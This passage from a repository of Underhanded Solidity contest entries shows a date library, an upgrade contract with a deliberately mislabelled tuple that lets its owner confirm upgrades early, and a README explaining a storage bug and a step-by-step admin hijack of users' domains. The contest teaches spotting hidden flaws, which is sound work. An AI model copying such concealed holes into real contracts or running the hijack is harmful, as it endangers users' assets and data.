// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {
int __days = int(_days);
int L = __days + 68569 + OFFSET19700101;
int N = 4 * L / 146097;
L = L - (146097 * N + 3) / 4;
int _year = 4000 * (L + 1) / 1461001;
L = L - 1461 * _year / 4 + 31;
int _month = 80 * L / 2447;
int _day = L - 2447 * _month / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint(_year);
month = uint(_month);
day = uint(_day);
}
function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) {
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint timestamp) internal pure returns (bool leapYear) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) {
uint _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = (_days + 3) % 7 + 1;
}
function getYear(uint timestamp) internal pure returns (uint year) {
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint timestamp) internal pure returns (uint month) {
uint year;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint timestamp) internal pure returns (uint day) {
uint year;
uint month;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint timestamp) internal pure returns (uint hour) {
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint timestamp) internal pure returns (uint minute) {
uint secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint timestamp) internal pure returns (uint second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = (month - 1) % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = yearMonth % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
================================================
FILE: 2020/submissions_2020/submission11_RobertMCForster/contracts/Ownable.sol
================================================
pragma solidity ^0.7.0;
/**
* @notice OOC: Stock BokkyDateTime and Ownable--no vulnerabilities there.
**/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*
* @dev Completely default OpenZeppelin.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
================================================
FILE: 2020/submissions_2020/submission11_RobertMCForster/contracts/TimelockUpgrade.sol
================================================
pragma solidity ^0.7.0;
import './Ownable.sol';
import './BokkyDateTime.sol';
/**
* @notice OOC: Stock BokkyDateTime and Ownable--no vulnerabilities there.
**/
/**
* @title Timelock Upgrade
* @dev This contract allows a contract to be upgraded by an owner. While it requires the owner is the one to propose, it gives
* users 1 month to exit the contract before the upgrade can execute. This contract is so simple that nothing could go wrong.
**/
contract TimelockUpgrade is Ownable {
using BokkyDateTime for *;
// Month we can upgrade: 1-12.
uint256 public upgradeM;
// Day we can upgrade in that month: 1-28.
uint256 public upgradeD;
// Current master copy address being used.
address public masterCopy;
// Proposed address to upgrade to.
address public proposedMaster;
// Address to upgrade to, month upgrade is allowed, day upgrade is allowed
event UpgradeProposed(address proposed, uint256 month, uint256 day);
// New masterCopy confirmed yay!
event UpgradeConfirmed(address newMaster);
/**
* @dev Owner can propose an upgrade, but it takes 1 month to allow it to confirm.
* @param _upgradeAddress The address to upgrade the masterCopy to.
**/
function proposeUpgrade(address _upgradeAddress)
external
onlyOwner
{
uint256 m;
uint256 d;
(/*year*/, /*month*/ m, /*day*/ d, /*hour*/, /*minute*/, /*second*/) = BokkyDateTime.timestampToDateTime(block.timestamp);
upgradeM = (m % 12) + 1; // If it's Dec, advance to Jan.
upgradeD = d > 28 ? 28 : d; // Protect for February.
proposedMaster = _upgradeAddress;
emit UpgradeProposed(_upgradeAddress, upgradeM, upgradeD);
}
/**
* @dev Confirm a proposed upgrade.
**/
function confirmUpgrade()
external
{
uint256 m;
uint256 d;
(/*year*/, /*month*/ ,d /*yad*/ ,m /*hour*/, /*minute*/, /*second*/) = BokkyDateTime.timestampToDateTime(block.timestamp);
if (m == upgradeM && d == upgradeD) {
masterCopy = proposedMaster;
// Woohoo!
emit UpgradeConfirmed(masterCopy);
}
}
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/Makefile
================================================
all :; dapp build
clean :; dapp clean
test :; dapp test
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/README.md
================================================
# Upgradeability via opt-in history and safe relay
This entry for the Underhanded Solidity contest contains a simple DNS registry
that may be upgraded.
Contract `DNS` implements an upgradeable example of the DNS registry interface
defined in `IDNS.sol`. That contract uses `Upgrade` from `Upgrade.sol` as the
upgrade mechanism: `Upgrade` allows the upgrade admin (the deployer of `DNS`)
to suggest already deployed contracts as upgrades for the DNS contract. Users
can then opt-in (and also opt-out if they change their minds after opt-in)
suggested upgrades. After a given opt-in time period the upgrade status
changes from `planned` to `active`. The admin can also cancel a planned
upgrade, which is then removed and the status is the same as before, with all
opt-ins cleared. If a user never opts-in they will simply keep using the
original `DNS` contract. The `DNS` contract checks, for every function, if the
caller opted-in an upgrade, and if yes, calls that contract instead.
Contract `UpgradedDNS` shows an example of a safe upgrade with the same
functionalities as contract `DNS`. The original `DNS` contract allows the
`msg.sender` to change DNS data if they are the owner of that entry. This
check is also performed before relaying calls to upgrades. Therefore, the
original DNS contract and legit upgraded contracts which receive relayed
messages and want to relay messages should check (for state changing calls)
whether
1. `msg.sender == tx.origin` and only allow changes in entries that `msg.sender` owns, or
2. `msg.sender` is the original DNS contract, which already checked whether the then `msg.sender` is the owner of the entry in the sender's upgrade, or
3. `msg.sender` is a previous upgrade that the entry owner trusted, which should have a mechanism similar to the one above.
Sequence of transactions for a safe upgrade:
- Deploy `Upgrade()` at address `addr_upgrade`.
- Deploy `DNS(addr_upgrade)` at address `addr_dns`.
- Users use `addr_dns`.
- Deploy `UpgradedDNS(addr_dns, addr_upgrade)` at address `addr_up_dns`.
- Admin calls `addr_upgrade.newUpgrade(now + some time, addr_up_dns)`.
- Users opt in.
- Some time passes, upgrade is active.
- Users that opted-in now have their calls relayed to `addr_up_dns`.
The sequence above is shown in test `DNSTest.test_safe_sequence`.
# Vulnerability !!! SPOILER !!!
The admin can trick domain owners into pointing their domains to IP addresses
of the admin's choice after an upgrade they opt in.
The effects of such vulnerability are quite dangerous. For example, if the
domain points to a service where the user inserts confidential data, the admin
can copy the service frontend into another IP, point the domain to their IP,
and steal the users' confidential data.
## How
The bug is in `Upgrade.sol`, function `cancelUpgrade`. While it looks like
the latest suggested upgrade is being deleted in the last two lines of that
function, `mapping` data is *not* deleted from storage because the compiler
cannot keep track of all changed keys. This causes all opt-ins to a cancelled
upgrade to be valid for the next suggested upgrade.
For example, suppose 4 upgrades were suggested and are active at the moment.
Array `upgrades` has length 4. The admin then suggests a new legit upgrade, and
users start opting in. Let us assume user Donald opted in. The storage slot
corresponding to that opt in comes from a hash that depends on the storage slot
of `upgrades`, the index of the planned upgrade 4, the struct member `userOpt`
and Donald's address. Let us call that storage slot `DonaldOptInSlot`.
`DonaldOptInSlot` now has value 1 (after Donald opts in). When the admin
cancels the upgrade, the array's length is decreased, fields `when` and `to` of
`upgrades[4]` are zeroed, but `userOpt` is still the same, meaning that
`DonaldOptIntSlot` has not been cleared. For now this is not a problem, since
the mapping is not accessible via `upgrades`. However, when the admin suggests
a new upgrade, `array.length` is 5 again, and `DonaldOptInSlot` is already
`Opt.In`, even though they never opted-in.
Sequence of transactions for a hack:
- Deploy `Upgrade()` at address `addr_upgrade`.
- Deploy `DNS(addr_upgrade)` at address `addr_dns`.
- Users use `addr_dns`.
- Deploy `UpgradedDNS(addr_dns, addr_upgrade)` at address `addr_up_dns`.
- Admin calls `addr_upgrade.newUpgrade(now + some time, addr_up_dns)`, where `addr_up_dns` must be a clearly legit upgrade.
- Users opt in, since the upgrade is legit.
- Before some time passes, admin cancels the upgrade.
- Deploy `MalDNS()` at address `mal_dns`.
- Admin calls `addr_upgrade.newUpgrade(now + very small time, mal_dns)`.
- Very small time passes.
- Now every user who opted in `addr_up_dns` is opted in `mal_dns` because of the vulnerability.
- Attacker can call backdoor that arbitrarily changes IPs.
## Build
The bytecode exported in `out` used Solidity 0.7.4.
To build the bytecode, run
`$ dapp build`
## Tests
The two sequences of transactions above, and more tests, can be found in `DNSTest.t.sol`.
To run the tests, run
`$ dapp test`
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
